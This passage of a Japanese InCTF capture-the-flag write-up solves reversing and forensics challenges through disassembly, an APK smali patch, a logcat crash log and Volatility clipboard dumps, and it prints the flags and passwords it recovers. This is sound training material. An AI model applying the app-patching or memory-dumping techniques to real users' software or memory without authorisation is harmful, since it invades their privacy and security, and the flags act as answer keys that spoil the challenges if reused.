2a: 81 c1 6d 69 6e 69 add ecx,0x696e696d
30: 81 c1 0f 0e 0d 0c add ecx,0xc0d0e0f
36: 81 f9 f0 df e0 e5 cmp ecx,0xe5e0dff0
3c: 75 2b jne 0x69
3e: 40 inc eax
3f: 81 c2 73 74 72 61 add edx,0x61727473
45: 81 c2 0b 0a 09 08 add edx,0x8090a0b
4b: 81 fa df f1 9f e0 cmp edx,0xe09ff1df
51: 75 16 jne 0x69
53: 40 inc eax
54: 81 c5 74 6f 72 00 add ebp,0x726f74
5a: 81 c5 17 16 15 00 add ebp,0x151617
60: 81 fd bb f7 cb 00 cmp ebp,0xcbf7bb
66: 75 01 jne 0x69
68: 40 inc eax
''.join(hex(x)[2:].replace('L', '').decode('hex')[::-1] for x in [0xdfe0d6d3 - 0x746d6169 - 0x4050607, 0x98dcdbdd - 0x64616568 - 0x10203, 0xe5e0dff0 - 0xc0d0e0f - 0x696e696d, 0xe09ff1df - 0x61727473 - 0x8090a0b, 0xcbf7bb - 0x151617 - 0x726f74])
で congrtz4thepas$w0rD
がパスワードであると分かりました。
得られたユーザ名とパスワードを入力すると、congrtz4thepas$w0rD.html
に遷移しフラグが得られました。
inctf{l1ck_l1ck_l1ck_my_j5}
Droid150.apk
という Android のパッケージファイルが与えられました。
ZIP として展開し、classes.dex
を dex2jar で jar に変換して JD-GUI に投げると、com.amrita.bi0s.rev/MainActivity.class
を以下のようにデコンパイルできました。
package com.amrita.bi0s.rev;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
public class MainActivity
extends AppCompatActivity
implements View.OnClickListener
{
static
{
System.loadLibrary("native-lib");
}
public void onClick(View paramView)
{
((TextView)findViewById(2131165299)).setText("Not that easy! ;)");
}
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2131296283);
((Button)findViewById(2131165217)).setOnClickListener(this);
}
public native String stringFromJNI();
}
stringFromJNI()
の結果を TextView
に出力させるように変更してしまいましょう。
apktool で apk を展開し、smali/com/amrita/bi0s/rev/MainActivity.smali
を以下のように変更して apk を再構築するとフラグが得られました。
.line 31
.local v0, "tv":Landroid/widget/TextView;
invoke-virtual {p0}, Lcom/amrita/bi0s/rev/MainActivity;->stringFromJNI()Ljava/lang/String;
move-result-object v1
inctf{3as13r_7han_7h3_n3x7}
Droid350.apk
という Android のパッケージファイルが与えられました。
ZIP として展開し、classes.dex
を dex2jar で jar に変換して JD-GUI に投げると、com.amrita.bi0s.tesseract/MainActivity.class
を以下のようにデコンパイルできました。
package com.amrita.bi0s.tesseract;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
public class MainActivity
extends AppCompatActivity
implements View.OnClickListener
{
static final String ACTION_FLAGGER = "com.amrita.bi0s.tesseract.action.FLAGGER";
static
{
System.loadLibrary("native-lib");
}
void flagSender()
{
Object localObject = ((EditText)findViewById(2131165288)).getText().toString();
if (new String(new char[] { 55, 104, 51, 115, 51, 99, 114, 51, 116 }).equals(localObject))
{
Toast.makeText(this, "That's right! I've sent your Tesseract :)", 1).show();
localObject = new Intent("com.amrita.bi0s.tesseract.action.FLAGGER");
((Intent)localObject).putExtra("android.intent.extra.TEXT", stringFromJNI());
((Intent)localObject).setType("text/plain");
startActivity((Intent)localObject);
return;
}
Toast.makeText(this, "That's not right! Aborting mission!", 1).show();
}
public void onClick(View paramView)
{
flagSender();
}
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2131296283);
paramBundle = (TextView)findViewById(2131165268);
((Button)findViewById(2131165219)).setOnClickListener(this);
}
public native String stringFromJNI();
}
7h3s3cr3t
がパスワードのようです。早速アプリを開いて入力してみたものの、落ちてしまいました。
adb logcat
で見てみると、以下のようなログが見つかりました。
...
12-17 01:15:10.778 3969 3969 F zygote : runtime.cc:500] JNI DETECTED ERROR IN APPLICATION: input is not valid Modified UTF-8: illegal continuation byte 0xa
12-17 01:15:10.778 3969 3969 F zygote : runtime.cc:500] string: 'aW5jdGZ7MW50M250c19zYXYzZF83aDNfdzByMWR9...'
12-17 01:15:10.778 3969 3969 F zygote : runtime.cc:500]
12-17 01:15:10.778 3969 3969 F zygote : runtime.cc:500] input: '0x61 0x57 0x35 0x6a 0x64 0x47 0x5a 0x37 0x4d 0x57 0x35 0x30 0x4d 0x32 0x35 0x30 0x63 0x31 0x39 0x7a 0x59 0x58 0x59 0x7a 0x5a 0x46 0x38 0x33 0x61 0x44 0x4e 0x66 0x64 0x7a 0x42 0x79 0x4d 0x57 0x52 0x39 0x20 0xf3 0xa8 <0x0a> 0x2d 0xc9 0x41 0x90 0x88 0xe4 0x93 0xbf 0x0c'
12-17 01:15:10.778 3969 3969 F zygote : runtime.cc:500] in call to NewStringUTF
12-17 01:15:10.778 3969 3969 F zygote : runtime.cc:500] from java.lang.String com.amrita.bi0s.tesseract.MainActivity.stringFromJNI()
12-17 01:15:10.778 3969 3969 F zygote : runtime.cc:500] "main" prio=5 tid=1 Runnable
1
...
aW5jdGZ7MW50M250c19zYXYzZF83aDNfdzByMWR9
を Base64 デコードするとフラグが得られました。
inctf{1nt3nts_sav3d_7h3_w0r1d}
chal.dmp
という Windows のメモリダンプのファイルが与えられました。
Volatility でクリップボードに入っている内容を取得してみます。
$ vol.py --profile=Win7SP1x86 -f chal.dmp clipboard
Volatility Foundation Volatility Framework 2.5
Session WindowStation Format Handle Object Data
---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
1 WinSta0 CF_UNICODETEXT 0x560195 0xfe9f3d58 D'`;@^!J<5GzW16wv@cO0<Mo...H(h&}|#z@~}|{t:rwpotm3~
...
$ vol.py -f chal.dmp --profile=Win7SP1x86 clipboard -v
Volatility Foundation Volatility Framework 2.5
Session WindowStation Format Handle Object Data
---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
1 WinSta0 CF_UNICODETEXT 0x560195 0xfe9f3d58 D'`;@^!J<5GzW16wv@cO0<Mo...H(h&}|#z@~}|{t:rwpotm3~
0xfe9f3d64 44 00 27 00 60 00 3b 00 40 00 5e 00 21 00 4a 00 D.'.`.;.@.^.!.J.
0xfe9f3d74 3c 00 35 00 47 00 7a 00 57 00 31 00 36 00 77 00 <.5.G.z.W.1.6.w.
0xfe9f3d84 76 00 40 00 63 00 4f 00 30 00 3c 00 4d 00 6f 00 v.@.c.O.0.<.M.o.
0xfe9f3d94 6d 00 49 00 6b 00 5a 00 35 00 45 00 68 00 43 00 m.I.k.Z.5.E.h.C.
0xfe9f3da4 55 00 7b 00 40 00 62 00 61 00 3d 00 60 00 75 00 U.{.@.b.a.=.`.u.
0xfe9f3db4 29 00 5d 00 78 00 5a 00 70 00 75 00 6e 00 73 00 ).].x.Z.p.u.n.s.
0xfe9f3dc4 6c 00 32 00 70 00 6f 00 51 00 67 00 6c 00 65 00 l.2.p.o.Q.g.l.e.
0xfe9f3dd4 64 00 63 00 29 00 61 00 49 00 65 00 64 00 63 00 d.c.).a.I.e.d.c.
0xfe9f3de4 5c 00 22 00 60 00 59 00 5e 00 5d 00 5c 00 5b 00 \.".`.Y.^.].\.[.
0xfe9f3df4 54 00 78 00 52 00 51 00 56 00 4f 00 4e 00 4d 00 T.x.R.Q.V.O.N.M.
0xfe9f3e04 71 00 51 00 4a 00 4f 00 4e 00 4d 00 46 00 4b 00 q.Q.J.O.N.M.F.K.
0xfe9f3e14 4a 00 43 00 67 00 47 00 40 00 3f 00 63 00 3d 00 J.C.g.G.@.?.c.=.
0xfe9f3e24 3c 00 3b 00 40 00 39 00 5d 00 3d 00 7d 00 35 00 <.;.@.9.].=.}.5.
0xfe9f3e34 59 00 39 00 38 00 37 00 36 00 76 00 2e 00 33 00 Y.9.8.7.6.v...3.
0xfe9f3e44 2c 00 50 00 30 00 70 00 6f 00 2d 00 26 00 2b 00 ,.P.0.p.o.-.&.+.
0xfe9f3e54 24 00 29 00 22 00 46 00 26 00 66 00 24 00 7b 00 $.).".F.&.f.$.{.
0xfe9f3e64 7a 00 79 00 3f 00 60 00 5f 00 7b 00 74 00 79 00 z.y.?.`._.{.t.y.
0xfe9f3e74 72 00 77 00 70 00 36 00 57 00 73 00 72 00 71 00 r.w.p.6.W.s.r.q.
0xfe9f3e84 70 00 69 00 2f 00 50 00 6c 00 65 00 6a 00 63 00 p.i./.P.l.e.j.c.
0xfe9f3e94 29 00 4a 00 49 00 65 00 5e 00 24 00 5c 00 61 00 ).J.I.e.^.$.\.a.
0xfe9f3ea4 5a 00 59 00 58 00 57 00 7b 00 5b 00 54 00 3c 00 Z.Y.X.W.{.[.T.<.
0xfe9f3eb4 52 00 51 00 56 00 4f 00 73 00 53 00 52 00 51 00 R.Q.V.O.s.S.R.Q.
0xfe9f3ec4 33 00 4f 00 4e 00 4d 00 46 00 6a 00 4a 00 49 00 3.O.N.M.F.j.J.I.
0xfe9f3ed4 48 00 47 00 29 00 3f 00 63 00 43 00 3c 00 24 00 H.G.).?.c.C.<.$.
0xfe9f3ee4 3a 00 3f 00 3e 00 37 00 36 00 5a 00 34 00 7a 00 :.?.>.7.6.Z.4.z.
0xfe9f3ef4 32 00 56 00 30 00 35 00 34 00 2d 00 2c 00 2b 00 2.V.0.5.4.-.,.+.
0xfe9f3f04 4f 00 70 00 2e 00 27 00 26 00 2b 00 2a 00 23 00 O.p...'.&.+.*.#.
0xfe9f3f14 47 00 68 00 26 00 25 00 7c 00 42 00 7a 00 21 00 G.h.&.%.|.B.z.!.
0xfe9f3f24 7e 00 77 00 76 00 3c 00 7a 00 79 00 78 00 77 00 ~.w.v.<.z.y.x.w.
0xfe9f3f34 70 00 6f 00 74 00 6d 00 33 00 6b 00 53 00 69 00 p.o.t.m.3.k.S.i.
0xfe9f3f44 2f 00 67 00 4f 00 6b 00 6a 00 69 00 68 00 61 00 /.g.O.k.j.i.h.a.
0xfe9f3f54 27 00 5f 00 47 00 63 00 62 00 61 00 5a 00 7e 00 '._.G.c.b.a.Z.~.
0xfe9f3f64 41 00 40 00 56 00 7a 00 54 00 3c 00 52 00 51 00 A.@.V.z.T.<.R.Q.
0xfe9f3f74 56 00 4f 00 73 00 53 00 35 00 34 00 4a 00 49 00 V.O.s.S.5.4.J.I.
0xfe9f3f84 6d 00 4d 00 4c 00 4b 00 44 00 49 00 42 00 66 00 m.M.L.K.D.I.B.f.
0xfe9f3f94 46 00 28 00 44 00 3d 00 3c 00 3b 00 5f 00 22 00 F.(.D.=.<.;._.".
0xfe9f3fa4 3e 00 3d 00 36 00 5a 00 3a 00 33 00 38 00 31 00 >.=.6.Z.:.3.8.1.
0xfe9f3fb4 55 00 76 00 75 00 2d 00 32 00 2b 00 4f 00 70 00 U.v.u.-.2.+.O.p.
0xfe9f3fc4 2e 00 27 00 26 00 2b 00 24 00 48 00 28 00 68 00 ..'.&.+.$.H.(.h.
0xfe9f3fd4 26 00 7d 00 7c 00 23 00 7a 00 40 00 7e 00 7d 00 &.}.|.#.z.@.~.}.
0xfe9f3fe4 7c 00 7b 00 74 00 3a 00 72 00 77 00 70 00 6f 00 |.{.t.:.r.w.p.o.
0xfe9f3ff4 74 00 6d 00 33 00 7e 00 00 00 t.m.3.~...
...
問題文には
Hint 1: 8th circle of Hell
というようなヒントがあります。ググってみると Malebolge
がヒットしました。どうやら Malbolge のプログラムのようです。
適当な Malbolge インタプリタでクリップボードの内容を実行するとフラグが得られました。
inctf{m4lb0lge_4nd_m3m0ry_dump_1s_4_gr34t_c0mb0}
challenge.dmp
という Windows のメモリダンプのファイルが与えられました。
Volatility でクリップボードに入っている内容を取得してみます。
$ vol.py --profile=Win7SP1x86 -f challenge.dmp clipboard -v
Volatility Foundation Volatility Framework 2.5
Session WindowStation Format Handle Object Data
---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
1 WinSta0 0xc009L 0x1002cb 0xfe090688
0xfe090694 00 00 00 00 ....
...
1 WinSta0 CF_TEXT 0x1000f7 0xfdf1c168 SW5DVEZ7dGw1XzRuZF9tM20w...nlfdDB1NmhfdDBfY3I0Y2t9
0xfdf1c174 53 57 35 44 56 45 5a 37 64 47 77 31 58 7a 52 75 SW5DVEZ7dGw1XzRu
0xfdf1c184 5a 46 39 74 4d 32 30 77 63 6e 6c 66 4d 58 4e 66 ZF9tM20wcnlfMXNf
0xfdf1c194 62 6a 42 30 58 33 59 7a 63 6e 6c 66 64 44 42 31 bjB0X3YzcnlfdDB1
0xfdf1c1a4 4e 6d 68 66 64 44 42 66 59 33 49 30 59 32 74 39 NmhfdDBfY3I0Y2t9
0xfdf1c1b4 00
...
クリップボードの内容を Base64 デコードするとフラグが得られました。
InCTF{tl5_4nd_m3m0ry_1s_n0t_v3ry_t0u6h_t0_cr4ck}